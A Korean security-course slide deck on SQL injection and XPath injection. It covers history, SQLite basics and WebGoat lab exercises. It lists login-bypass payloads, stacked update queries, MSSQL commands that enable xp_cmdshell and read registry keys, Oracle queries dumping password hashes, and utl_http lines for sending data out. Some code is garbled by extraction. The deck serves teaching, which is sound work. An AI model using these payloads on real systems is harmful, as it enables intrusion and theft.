Download presentation
Presentation is loading. Please wait.
1
Chapter 05 SQL 인젝션 공격
2
01 SQL 인젝션 공격의 개요 02 기본적인 SQL 인젝션 공격 03 Xpath 삽입 공격
3
SQL 인젝션 공격의 역사를 학습한다. SQL의 개념과 문법을 이해한다. 기본적인 SQL 인젝션 공격을 학습한다. Xpath 삽입 공격을 학습한다.
4
1.1 SQL 인젝션 공격의 역사 SQL 인젝션 공격의 역사
1998년 12월 온라인 잡지 <Phrack> 54호에서 Rain Forest Puppy(rfp) 라는 팀 이 웹 애플리케이션과 데이터베이스 간의 취약점을 언급하면서 SQL문을 변조 할 수 있다는 가능성을 언급
5
1.1 SQL 인젝션 공격의 역사 SQL 인젝션 공격의 역사
2001년 2월 Rain Forest Puppy가 ‘SQL Injection’이라는 문서를 공개 2002년 3월 SQL 인젝션 공격으로 약 20만 명의 신용카드 사용자 정보 유출 2005년 6월 서던캘리포니아 대학교의 온라인 시스템이 SQL 인젝션 취약점에 노출 2006년 12월 악의적인 해커가 UCLA의 학생 기록 80만 건 열람 2007년 마이크로소프트 UK의 홈페이지가 SQL 인젝션 공격에 노출 2008년 4월 약 50만 개의 웹 사이트가 SQL 인젝션 공격을 당하며 이후로도 지 속적인 피해를 입고 있음.
6
1.2 SQL SQL의 개념 관계형 데이터베이스 관리 시스템 (RDBMS)의 데이터를 관리하기 위해
설계된 특수 목적의 프로그래밍 언어 대다수 상용 또는 공개 데이터베이스 관련 프로그램은 SQL을 표준으로 함. 1974년에 IBM의 도널드 챔벌린과 레 이먼드 보이스가 개발 초기의 명칭은 SEQUEL(구조화 영어 질의어)이었는데, SEQUEL이 영국 호 커시들리 항공사의 상표라 SQL로 이 름을 바꿈. SQL:2011에 대한 SQL Framework 표준 문서 확인
7
1.1 SQL 인젝션 공격의 역사 SQL의 구분 데이터 조작 언어(data manipulation language, DML)
8
1.1 SQL 인젝션 공격의 역사 SQL의 구분 데이터 정의 언어(data definition language, DDL)
9
1.1 SQL 인젝션 공격의 역사 SQLite 사이트 접속
접속 후 [Download] 메뉴 선택
10
1.1 SQL 인젝션 공격의 역사 SQLite 파일 다운로드
‘ Precompiled Binaries for Windows’에 해당하는 파일을 모두 내려받음.
11
1.1 SQL 인젝션 공격의 역사 SQLite 파일 압축 풀기 SQLite 실행
편의상 ‘sqlite-tools-win32-x ’ 폴더명을 ‘sqlite-shell’로 변경 SQLite 실행 파일인 sqlite3.exe 확인
12
1.1 SQL 인젝션 공격의 역사 SQLite 실행 [시작]-[실행]에서 ‘cmd.exe’를 입력하여 도스창을 띄운 후 sqlite3.exe를 실행
13
1.1 SQL 인젝션 공격의 역사 SQLite 실행 후 테스트 데이터베이스 생성
[시작]-[실행]에서 ‘cmd.exe’를 입력 후 ‘sqlite3.exe test.db’ 명령어를 실행 ‘.database’ 명령어를 실행하여 생성된 데이터베이스 확인
14
1.1 SQL 인젝션 공격의 역사 Create 명령어로 테이블 생성 Create table 명령어로 member 테이블 생성
sqlite> CREATE TABLE member ( no INTEGER PRIMARY KEY, user_id VARCHAR(20), name VARCHAR(20), user_pw VARCHAR(20), VARCHAR(40), date DATE );
15
1.1 SQL 인젝션 공격의 역사 Insert 명령어로 데이터 입력
sqlite> INSERT INTO member (user_id, name, user_pw, , date) VALUES ('anesra', 'KG Kim', DATETIME('NOW’, 'LOCALTIME’) ); sqlite> INSERT INTO member (user_id, name, user_pw, , date) VALUES ('wasabimilk', 'Rosa', DATETIME('NOW’, 'LOCALTIME’) );
16
1.1 SQL 인젝션 공격의 역사 Select 명령어로 데이터 조회 member 테이블의 모든 데이터 조회
member 테이블에서 user_id가 ‘anesra’인 데이터 조회 sqlite> SELECT * FROM member; sqlite> SELECT * FROM member WHERE user_id = 'anesra';
17
1.1 SQL 인젝션 공격의 역사 Select 명령어로 데이터 조회
칼럼 데이터가 |(파이프)로 구분되어 있어 보기가 쉽지 않은 부분 수정 sqlite> .head on sqlite> .mode column
18
1.1 SQL 인젝션 공격의 역사 Update 명령어로 데이터 수정 Update : 데이터 내용을 수정할 때 사용
sqlite> UPDATE member SET user_pw = WHERE user_id = 'anesra';
19
1.1 SQL 인젝션 공격의 역사 Delete 명령어로 데이터 삭제
sqlite> DELETE FROM member WHERE user_id = 'wasabimilk';
20
1.1 SQL 인젝션 공격의 역사 Union 명령어로 여러 테이블의 내용 조회
관리자 아이디와 패스워드 정보를 포함하고 있는 admin 테이블 생성 sqlite> CREATE TABLE admin ( no INTEGER PRIMARY KEY, id VARCHAR(20), pw VARCHAR(20) ); sqlite> INSERT INTO admin (id, pw) VALUES ('superadmin',
21
1.1 SQL 인젝션 공격의 역사 Union 명령어로 여러 테이블의 내용 조회
‘.table’ 명령어로 admin과 member 두 개의 테이블이 있는 것을 확인 후 실행 Union 명령어를 이용하여 member와 admin의 동일한 칼럼 수를 조회 sqlite> SELECT * FROM member UNION SELECT * FROM admin; (Error!) sqlite> SELECT user_id, user_pw FROM member UNION SELECT id, pw FROM admin;
22
2.1 SQL 인젝션 공격의 원리 SQL 인젝션 공격의 원리
보통 사용자 로그인 부분, 게시물 검색 부분, 우편번호 검색 부분, 자료실 등이 대표적
23
2.1 SQL 인젝션 공격의 원리 WebGoat 실행 WebGoat를 실행한 뒤 WebGoat 사이트에 접속하여 로그인
화면 왼쪽의 [Injection Flaws] 메뉴 선택
24
2.1 SQL 인젝션 공격의 원리 [LAB: SQL Injection] - [Stage 1: String SQL Injection] 클릭 1단계: 인증을 우회하기 위해 SQL 문자열 삽입을 이용하시오. SQL 인젝션 공 격을 통해 정확한 패스워드 없이 관리자(‘Neville’)로 로그인하시오. Neville의 프로파일이 보이고 검색, 생성, 삭제 등의 모든 기능을 실행할 수 있는지 확인 하시오.
25
2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입
‘ Larry Stooge(employee)’를 ‘Neville Bartholomew(admin)’을 선택하고 Password에 아무 값이나 입력
26
2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입
사용자로 다시 ‘Neville Bartholomew(admin)’을 선택하고, 패스워드 부분에 ‘or’‘=’을 입력한 후 <Login>을 클릭
27
2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입
C:\WebGoat7.1\extract\webapps\WebGoat\plugin_extracted\org\ owasp\webgoat\plugin\sqlinjection\LoginSqlInjection.java 열기
28
2.1 SQL 인젝션 공격의 원리 간단한 인증 우회 SQL 문자열 삽입 패스워드 입력값을 처리하는 소스코드
아이디와 패스워드에 각각 Neville Bartholomew(admin), ‘or’‘=’ 입력 → 앞의 패스워드가 비어 있는 것은 틀린 값이지만, or 뒤에 나오는 문장이 참이 되기 때문에 해당 쿼리문의 전체 결과값은 참 SELECT * FROM employee WHERE userid = " + userid + " and password = '" + password+ "' SELECT * FROM employee WHERE userid = 'Neville Bartholomew(admin)' and password =''or''=''
29
2.1 SQL 인젝션 공격의 원리 [String SQL Injection]클릭
WebGoat를 실행하고 [Injection Flaws]-[String SQL Injection] 클릭
30
2.1 SQL 인젝션 공격의 원리 Enter your last name에 Smith 입력
SELECT * FROM user_data WHERE last_name = 'Smith'
31
2.1 SQL 인젝션 공격의 원리 Enter your last name에 ‘or’‘=’ 입력
SELECT * FROM user_data WHERE last_name = ''or''=''
32
2.1 SQL 인젝션 공격의 원리 [Database Backdoor]클릭
WebGoat의 [Injection Flaws]에서 [Database Backdoor]클릭 후 User ID에 ‘101’ 입력
33
2.1 SQL 인젝션 공격의 원리 두 개의 SQL 구문 삽입
SELECT userid, password, ssn, salary, FROM employee WHERE userid=101; UPDATE employee SET Salary= WHERE userid=101;
34
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server
35
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server에서 데이터베이스 구조를 발견할 수 있는 쿼리문 사용자 정의 테이블 가져오기 칼럼 이름 가져오기 SELECT name FROM sysobjects WHERE xtype = 'U' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name ='칼럼 이름을 얻으려는 테이블의 이름')
36
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 Microsoft SQL Server에서 제공하는 확장 저장 프로시저
37
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 윈도우 명령어 실행하기
비활성화로 설정된 xp_cmdshell을 활성화하는 명령어 레지스트리 키 열람하기 레지스트리 키에 있는 내용 열람하기 EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:\' EXEC sp_configure 'show advanced options', 1 RECONFIGURE EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE Exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\ lanmanserver\parameters', 'nullsessionshares' Exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\snmp\parameters\validcommunities'
38
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 사용자 정의 테이블 가져오기 칼럼 이름 가져오기
현재 데이터베이스 이름 가져오기 SELECT tname FROM sys.tab SELECT table_name FROM all_tables WHERE TABLESPACE_NAME='USERS' SELECT column_name FROM cols WHERE table_name='칼럼 이름을 얻으려는 테이블 이름' SELECT column_name FROM all_tab_columns WHERE table_name='테이블 이름' SELECT global_name FROM global_name
39
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 사용자와 패스워크 정보 가져오기 버전 정보 가져오기
화면에 보이지 않더라도 공격이 성공했는지 알아볼 수 있는 함수(Blind SQL) SELECT name, password FROM sys.user$ WHERE type#=1 SELECT banner || '-' || (select banner FROM v$version WHERE banner LIKE 'Oracle%’) FROM v$version WHERE banner LIKE 'TNS%'
40
2.2 DBMS의 종류에 따른 SQL 인젝션 공격 오라클 외부 아웃바운드로 데이터 전송하기
SELECT utl_http.request(' FROM DUAL SELECT utl_http.request(' || (SELECT pass FROM members)) FROM DUAL SELECT HTTPURITYPE(' FROM DUAL
41
3. XPath 삽입 공격 XPath XML 문서로부터 선택한 노드를 사용하기 위한 프로그래밍 언어
XPath 1.0 명세서는 1999년 W3C 표준으로 나왔으며, 2010년 XPath 2.0 명세 서가 W3C에서 권고됨. 자바, 자바스크립트, .NETFramework, PHP, 파이썬, 펄, 루비 등 수많은 언어가 XPath를 지원 XML문서 안의 특정 요소를 가리키는 기술 방법을 정한 규격임. W3C가 권하는 표준사양 으로, XSLT나 XPointer에 사용되는 위치 지정 기술방식을 독립 시킨 것. 하이퍼링크 등에 쓰여지는 인위적으로 부가 된 앵커에 의한 지정과는 달리, XML 데이터 를 표시하는 트리 구조를 따라가서 문서내의 모든 요소나 속성에 접근하는 수단을 제공 기본적인 기술 방법은 UNIX의 파일시스템과 비슷하며, 문서 트리 구조의 정점이 되는 루트 노드를 [/]로 표시하고, 그 이하 [/]로 나누어서 요소를 따라간다. a요소 중의 b라는 값을 참조 하는 데는 [/a/b]로 기술 노드의 데이터형 이나 노드의 종류, 명칭공간(XML namespace)의 취급에 대해서는 규정 이 있으며, 이것들을 사용해서 조건식이나 연산 등을 포함한 복잡한 위치 지정을 할 수 가 있음.
42
3. XPath 삽입 공격 Xpath 노드 Xpath의 쿼리문
users: 문서 노드 username, password, account: 요소 노드 id=“1”: 속성 노드 anesra, anesra_manse, root: 인자값 Xpath의 쿼리문 <?xml version="1.0" encoding="ISO "?> <users> <user> <username id="1">anesra</username> <password>anesra_manse</password> <account>root</account> </user> </users> XPath Query: /users/user/username
43
3. XPath 삽입 공격 Visual Basic과 C#에서 XPath를 처리하는 예시 Visual Basic:
Dim FindUserXPath as String FindUserXPath = "//Users/user[username/text() = ' "&Request("Username") & "' and password/text() = '"&Request("Password") & "']" C#: String FindUserXPath; FindUserXPath = "//Users/user[username/text() = ' "+Request("Username")+"' and password/text() = ' "+Request("Password") + "'];
44
3. XPath 삽입 공격 사용자가 Username과 Password 부분에 각각 ‘anesra’,‘anesra_passwo
공격자가 SQL 인젝션 공격과 마찬가지로 입력 시 쿼리문 결과 XPath query: //Users/user[username/text() = 'anesra' and password/text() = 'anesra_password'] Username = anesra' or '1'='1 Password = 1234' or '1'='1 XPath query: //Users/user[username/text() = 'anesra' or '1'='1' and password/ text() = '1234' or '1'='1']
45
3. XPath 삽입 공격 [XPath Injection]클릭
WegGoat를 실행 후 [Injection Flaws]-[XPATH Injection] 클릭
46
3. XPath 삽입 공격 User Name과 Password 입력 User Name: Mike
Password: test123
47
3. XPath 삽입 공격 XPath 삽입 공격 User Name: Mike ‘ or ’‘=’
Password: ‘ or ’‘=’
Similar presentations